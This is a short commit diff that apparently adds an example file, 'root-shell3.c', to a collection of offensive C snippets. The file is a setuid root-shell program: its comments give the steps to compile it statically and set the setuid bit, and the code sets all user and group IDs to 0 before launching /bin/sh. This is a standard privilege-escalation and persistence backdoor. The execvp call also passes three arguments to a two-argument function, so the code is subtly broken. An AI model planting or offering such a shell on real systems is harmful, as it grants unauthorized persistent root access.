Add example c root-shells

Miscellaneous/source-code/c-linux/root-shell3.c

@@ -0,0 +1,16 @@
+// $ gcc -static -o root-shell3 root-shell3.c
+// $ chmod u+s root-shell3
+
+#include <unistd.h>
+#include <stdlib.h>
+
+int main(void) {
+  setuid(0);
+  setgid(0);
+  seteuid(0);
+  setegid(0);
+
+  execvp("/bin/sh", NULL, NULL);
+
+  return 0;
+}